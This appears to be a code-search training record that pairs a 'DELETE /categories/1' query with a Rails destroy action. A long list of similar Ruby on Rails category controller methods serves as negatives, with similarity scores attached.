"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to categories_path, notice: \"Category was successfully updated.\" }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = Category.find(params[:id])\n @title = 'Kategorie ' + @category.title + ' bearbeiten'\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to categories_path, notice: 'Category was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post_category = Post::Category.find(params[:id])\n\n respond_to do |format|\n if @post_category.update_attributes(params[:post_category])\n format.html { redirect_to @post_category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = Category.find(params[:id])\n\n if @category.update_attributes(params[:category])\n flash[:notice] = 'Sucesso - update'\n else\n flash[:notice] = 'Falha ao atualizar a categoria'\n end\n\n # respond_to do |format|\n # if @category.update_attributes(params[:category])\n # format.html { redirect_to categories_path}\n # format.json { head :no_content }\n # else\n # format.html { render action: \"edit\" }\n # format.json { render json: @category.errors, status: :unprocessable_entity }\n \n # end\n # end\n end",
"def update\n @categoria = Categoria.find(params[:id])\n\n respond_to do |format|\n if @categoria.update_attributes(params[:categoria])\n format.html { redirect_to action: 'index', notice: 'Categoria was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @categoria.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @catalog_category.update(catalog_category_params)\n format.html { redirect_to catalog_categories_url }\n format.json { render :show, status: :ok, location: @catalog_category }\n else\n format.html { render :edit }\n format.json { render json: @catalog_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @categorization = Categorization.find(params[:id])\n @categories = category_list\n respond_to do |format|\n if @categorization.update_attributes(params[:categorization])\n format.html { redirect_to(admin_categorization_path(@categorization), :notice => 'Categorization was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @categorization.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n if @category.save\n render json: @category, status: :created, location: @category\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end",
"def update_category_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CategoriesApi.update_category ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling CategoriesApi.update_category\"\n end\n # resource path\n local_var_path = \"/categories/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'category'])\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CategoryResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CategoriesApi#update_category\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def set_category\n @categories = Category.friendly.find(params[:id])\n end",
"def update\n @categories = Category.all.map{|c| [ c.name, c.id ] }\n respond_to do |format|\n if @listing.update(listing_params)\n format.html { redirect_to @listing, notice: 'Listing was successfully updated.' }\n format.json { render :show, status: :ok, location: @listing }\n else\n format.html { render :edit }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @categ.update(categ_params)\n format.html { redirect_to @categ, notice: 'Categ was successfully updated.' }\n format.json { render :show, status: :ok, location: @categ }\n else\n format.html { render :edit }\n format.json { render json: @categ.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to admin_dashboard_categories_path, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @components_category = Components::Category.find(params[:id])\n index\n respond_to do |format|\n if @components_category.update_attributes(params[:components_category])\n format.js { \n @notice = 'Categoria actualizada correctamente' \n render 'index'\n }\n else\n format.js { \n @notice = \"Error al actualizar categoria\"\n render action: \"edit\" }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @server.update(server_params)\n @server.servers_to_categories.destroy_all\n\n cats = params[:server][:category_id]\n cats.each do |c|\n unless c.empty?\n stc = ServersToCategories.new\n stc.category_id = c\n stc.server_id = @server.id\n\n stc.save\n end\n end\n\n format.html { redirect_to @server, notice: 'Server was successfully updated.' }\n format.json { render :show, status: :ok, location: @server }\n else\n format.html { render :edit }\n format.json { render json: @server.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, @category\n \n @category.modifier = current_user\n \n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to categories_url + '#' + @category.slug, notice: t('.success') }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to api_v1_categories_path, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = Category.find(params[:id])\n respond_to do |format|\n if @category.update(params.require(:category).permit(:name))\n format.html { redirect_to categories_path, notice: 'Category was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def update\n @taxonomy_category = TaxonomyCategory.find(params[:id])\n\n respond_to do |format|\n if @taxonomy_category.update_attributes(params[:taxonomy_category])\n format.html { redirect_to @taxonomy_category, notice: 'Taxonomy category was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @taxonomy_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category=Category.find(params[:id])\n @category.update_attributes(params[:category].permit(:name))\n if @category.save\n redirect_to categories_path\n else\n render action: 'new'\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to categories_path, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Категория была успешно изменена' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @accessory_category = AccessoryCategory.find(params[:id])\n\n if @accessory_category.update(accessory_category_params)\n audit(@accessory_category, current_user)\n head :no_content\n else\n render json: @accessory_category.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to :back, notice: 'Kategori diperbarui.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = Category.find(params[:id])\n @category.format_name = params[:category][:name].gsub(/ /, \"_\").downcase\n \n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to admin_scenic_spots_url, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n params[:book][:category_ids] = nil if params[:book][:category_ids].nil?\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to books_url, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n @categories = Category.all.order('name asc')\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @word_list = current_user.word_list\n\n #need to first remove categories from the word\n @word.categories.each do |category|\n @word.categories.delete category\n end\n\n #then push categories in from the category_params\n if params[\"category\"].include?(:category_ids)\n (params[\"category\"])[\"category_ids\"].each do |i|\n next if i.to_i == 0\n @word.categories << Category.find(i.to_i) unless @word.categories.include?(Category.find(i.to_i))\n end\n end\n\n if category_params.include?(:title) && ((params[\"category\"])[\"title\"]) != \"\"\n @word.categories << @word_list.categories.build(title: (params[\"category\"])[\"title\"])\n end\n\n respond_to do |format|\n if @word.update(word_params)\n format.html { redirect_to @word_list, notice: 'Word was successfully updated.' }\n #format.json { render :show, status: :ok, location: @word }\n else\n format.html { render :edit }\n #format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.7724567",
"0.74909496",
"0.7319212",
"0.70157593",
"0.6877518",
"0.6792349",
"0.66833127",
"0.66648275",
"0.6634337",
"0.6618428",
"0.6588373",
"0.6572942",
"0.6507015",
"0.65063256",
"0.64743674",
"0.64715",
"0.6443928",
"0.6425827",
"0.6413952",
"0.6379",
"0.6352537",
"0.6352537",
"0.63326824",
"0.63318866",
"0.6324868",
"0.6306693",
"0.62832534",
"0.6269197",
"0.6263327",
"0.62533814",
"0.62343323",
"0.6231574",
"0.62315357",
"0.62315357",
"0.62315357",
"0.62315357",
"0.62315357",
"0.62315357",
"0.62315357",
"0.62110764",
"0.61858696",
"0.6171836",
"0.61561704",
"0.6154241",
"0.6136296",
"0.61340994",
"0.61222893",
"0.61045665",
"0.6096131",
"0.60902417",
"0.6088623",
"0.6087582",
"0.60871977",
"0.6063172",
"0.6061545",
"0.6056362",
"0.6053338",
"0.6044661",
"0.6044661",
"0.6044661",
"0.6044661",
"0.6044661",
"0.6044661",
"0.6044661",
"0.6044661",
"0.6044661",
"0.6044661",
"0.6044661",
"0.6044661",
"0.6044661",
"0.6044661",
"0.6044661",
"0.60392857",
"0.60325223",
"0.602899",
"0.60277593",
"0.60214007",
"0.6021147",
"0.6019097",
"0.60069114",
"0.6005424",
"0.6000626",
"0.5995946",
"0.59844774",
"0.5980095",
"0.59739286",
"0.59715843",
"0.59715843",
"0.59688425",
"0.59667534",
"0.5966112",
"0.596512",
"0.5961322",
"0.5954069",
"0.5951395",
"0.5950253",
"0.59441054",
"0.5941622",
"0.59402704",
"0.5934518",
"0.59163195"
] | 0.0 | -1 |
DELETE /categories/1 DELETE /categories/1.json | def destroy
@category = Category.find(params[:id])
@category.destroy
get_paginated_categories
respond_to do |format|
format.js
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def DeleteCategory id\n \n APICall(path: \"categories/#{id}.json\",method: 'DELETE')\n \n end",
"def destroy\n @category.destroy\n render json: @category, status: :ok\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v1_categories_path }\n format.json { head :no_content }\n end\n end",
"def deleteCat()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n c = Category.find(params[:id])\n status = c.destroy\n error = \"\"\n if(c.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: true, reason: error, data: \"\"}\n end",
"def destroy\n @category.destroy\n render json: { notice: 'Categoria eliminada exitosamente' }\n end",
"def destroy\n category = set_category\n if category.destroy\n head :no_content\n else\n render json: { status: 500 }\n end\n \n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_categories_path, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = @collection.category.find(params[:id])\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @alien_category.destroy\n respond_to do |format|\n format.html { redirect_to alien_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cat = Cat.find(params[:id])\n @cat.destroy\n\n respond_to do |format|\n format.html { redirect_to cats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cat = Cat.find(params[:id])\n @cat.destroy\n\n respond_to do |format|\n format.html { redirect_to cats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: t('destroy.notice', name: t('activerecord.models.category')) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to admin_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to cm_post_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @categoria = Categoria.find(params[:id])\n @categoria.destroy\n\n respond_to do |format|\n format.html { redirect_to categoria_index_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = current_mall.categories.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to api_wmall_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n head :no_content\n end",
"def destroy\n #@incidentcategory.destroy\n render json: {}, status: 200\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to admin_good_categories_url }\n format.json { head :no_content }\n end\n end",
"def delete_category id\n\t\t\t\t\tFreshdesk::Api::Client.delete_status_wrapper do\n\t\t\t\t\t\t( @connection.delete CATEGORIES, id ).code\n\t\t\t\t\tend\n\t\t\t\tend",
"def destroy\n IndicatorCategory.delete_hack(params[:id])\n\n respond_to do |format|\n format.html { redirect_to indicator_categories_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post_category = Post::Category.find(params[:id])\n @post_category.destroy\n\n respond_to do |format|\n format.html { redirect_to post_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @categ.destroy\n respond_to do |format|\n format.html { redirect_to categs_url, notice: 'Categ was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category_db.destroy\n respond_to do |format|\n format.html { redirect_to category_dbs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @categoria.destroy\n respond_to do |format|\n format.html { redirect_to categorias_path, notice: @@titulo + t('msg.remove') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @categorie = Categorie.find(params[:id])\n @categorie.destroy\n\n respond_to do |format|\n format.html { redirect_to(categories_url) }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>[]}}\n end\n end",
"def destroy\n @category.delete\n end",
"def destroy\n @admin_category.destroy\n respond_to do |format|\n format.html { redirect_to admin_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recipe_category = RecipeCategory.find(params[:id])\n @recipe_category.destroy\n\n respond_to do |format|\n format.html { redirect_to recipe_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @taxonomy_category = TaxonomyCategory.find(params[:id])\n @taxonomy_category.destroy\n\n respond_to do |format|\n format.html { redirect_to taxonomy_categories_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: \"Journal was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_scenic_spots_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @desserts_category.destroy\n respond_to do |format|\n format.html { redirect_to desserts_categories_url}\n format.json { head :no_content }\n end\n end",
"def destroy\n @level_category = LevelCategory.find(params[:id])\n @level_category.destroy\n\n respond_to do |format|\n format.html { redirect_to level_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cat.destroy\n respond_to do |format|\n format.html { redirect_to cats_url, notice: 'Cat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n begin\n @category.destroy\n rescue ActiveRecord::DeleteRestrictionError\n error = 'Эта категория не может быть удалена, пока с ней связан хоть один файл.'\n ensure\n respond_to do |format|\n format.html { redirect_to categories_url, notice: error }\n format.json { head :ok }\n end\n end\n end",
"def destroy\n @kategory = Kategory.find(params[:id])\n @kategory.destroy\n\n respond_to do |format|\n format.html { redirect_to kategories_url }\n format.json { head :ok }\n end\n end",
"def destroy\n return unless admin?\n\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_path, notice: \"Category was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @categor.destroy\n respond_to do |format|\n format.html { redirect_to categors_url, notice: 'Categor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to \"index\", notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = current_user.user_categories.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @categorias_tipo = CatTipo.find(params[:id])\n @categorias_tipo.destroy\n\n respond_to do |format|\n format.html { redirect_to cat_tipos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cathegory.destroy\n respond_to do |format|\n format.html { redirect_to cathegories_url, notice: 'Cathegory was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n #locates the category to be destroyed\n @category = Category.find(params[:id])\n #Creates an array of all categories\n @all_categories = Category.all\n #creates an empty hash\n @all_categories_hash = {}\n #calls function to populate & sort @all_categories_hash\n sort_categories()\n #calls function to destroy the category\n destroy_category(@category)\n\n respond_to do |format|\n format.html { redirect_to '/admin' }\n format.json { head :ok }\n end\n end",
"def destroy\n authorize! :destroy, @category\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: t('.success') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to backend_shop_branch_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cat = Cat.find(params[:id])\n @cat.destroy\n\n respond_to do |format|\n format.html { redirect_to(cats_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @mk_categoria.destroy\n respond_to do |format|\n format.html { redirect_to mk_categories_url, notice: 'Mk categoria was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category_type = CategoryType.find(params[:id])\n @category_type.destroy\n\n respond_to do |format|\n format.html { redirect_to category_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @categorie_droit.destroy\n respond_to do |format|\n format.html { redirect_to categorie_droits_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.delete_context #there you go, this little fatty kills em all!\n #fred and post have equal methods, makes it slim and easy\n\n respond_to do |format|\n format.html { redirect_to categories_url, :method => :get, :notice => t(:deleted_category_success) }\n format.json { head :ok }\n end\n end",
"def destroy\n @activity_category.destroy\n respond_to do |format|\n format.html { redirect_to activity_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dish_category.destroy\n respond_to do |format|\n format.html { redirect_to dish_categories_url, notice: 'Категория блюда удалена.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n CategoryService.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n #######\n format.html { redirect_to category_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n \tauthorize! :destroy, @category\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @status_category.destroy\n respond_to do |format|\n format.html { redirect_to status_categories_url, notice: 'Status category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post_category = current_user.post_categories.find(params[:id])\n @post_category.destroy\n\n respond_to do |format|\n format.html { redirect_to [:client, :post_categories] }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course_category = CourseCategory.find(params[:id])\n @course_category.destroy\n\n respond_to do |format|\n format.html { redirect_to course_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: '分类删除成功~' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gt_category.destroy\n respond_to do |format|\n format.html { redirect_to gt_categories_url, notice: 'Gt category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cover_cat = CoverCat.find(params[:id])\n @cover_cat.destroy\n\n respond_to do |format|\n format.html { redirect_to cover_cats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to(categories_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n end",
